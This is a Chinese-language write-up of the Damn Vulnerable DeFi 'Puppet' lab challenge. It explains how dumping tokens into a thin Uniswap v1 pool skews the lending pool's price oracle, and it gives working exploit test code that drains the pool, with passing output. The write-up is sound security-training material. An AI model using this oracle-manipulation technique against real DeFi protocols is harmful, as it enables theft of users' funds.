Damn Vulnerable DeFi 挑战记录 #8 - Puppet

Challenge #8 - Puppet

There's a huge lending pool borrowing Damn Valuable Tokens (DVTs), where you first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.

There's a DVT market opened in an Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.

Starting with 25 ETH and 1000 DVTs in balance, you must steal all tokens from the lending pool.

UniswapV1 文档

目标: 从借贷池中偷走所有token

    after(async function () {
        /** SUCCESS CONDITIONS */

        // Attacker has taken all tokens from the pool
        expect(await this.token.balanceOf(this.lendingPool.address)).to.be.eq("0");
        expect(await this.token.balanceOf(attacker.address)).to.be.gt(POOL_INITIAL_TOKEN_BALANCE);
    });

代码解析:

PuppetPool.sol 2倍超额抵押借贷池合约

borrow 借款函数

  • check 抵押金额为借款额的两倍

  • 返还多余金额

  • 借走DVT token

calculateDepositRequired 计算额定两倍抵押 _computeOraclePrice 将uniswap池中的价格作为预言机

    function _computeOraclePrice() private view returns (uint256) {
        // calculates the price of the token in wei according to Uniswap pair
        return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
    }

攻击思路:

    const UNISWAP_INITIAL_TOKEN_RESERVE = ethers.utils.parseEther("10");
    const UNISWAP_INITIAL_ETH_RESERVE = ethers.utils.parseEther("10");

    const ATTACKER_INITIAL_TOKEN_BALANCE = ethers.utils.parseEther("1000");
    const ATTACKER_INITIAL_ETH_BALANCE = ethers.utils.parseEther("25");
    const POOL_INITIAL_TOKEN_BALANCE = ethers.utils.parseEther("100000");

借贷池预言机来自于uniswap, 由于我们拥有25ETH, 1000DVT, uniswap池中只有10ETH, 10DVT流动性过低, 因此可以轻易操控uniswap池中币对价格,从而轻易贷出DVT token

  • 卖出所有DVT砸盘拉低token价格

  • 此时由于DVT价格过低, 通过借贷池超额抵押直接换出所有DVT token(不需要还款)

代码示例:

    it("Exploit", async function () {
        /** CODE YOUR EXPLOIT HERE */
        await this.token
            .connect(attacker)
            .approve(this.uniswapExchange.address, ATTACKER_INITIAL_TOKEN_BALANCE);
        await this.uniswapExchange
            .connect(attacker)
            .tokenToEthSwapInput(
                ATTACKER_INITIAL_TOKEN_BALANCE.sub(10),
                1,
                (await ethers.provider.getBlock("latest")).timestamp * 2,
            );

        const collateral = await this.lendingPool.calculateDepositRequired(
            POOL_INITIAL_TOKEN_BALANCE,
        );
        console.log(collateral);
        await this.lendingPool
            .connect(attacker)
            .borrow(POOL_INITIAL_TOKEN_BALANCE, { value: collateral });
    });

运行通过

❯ yarn run puppet
yarn run v1.22.19
warning ../../package.json: No license field
$ yarn hardhat test test/puppet/puppet.challenge.js
warning ../../package.json: No license field
$ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/puppet/puppet.challenge.js


  [Challenge] Puppet
BigNumber { _hex: '0x0110e5bbd907e9d0c0', _isBigNumber: true }
    ✓ Exploit (111ms)


  1 passing (2s)

Done in 4.18s.

Twitter: @0xRunstar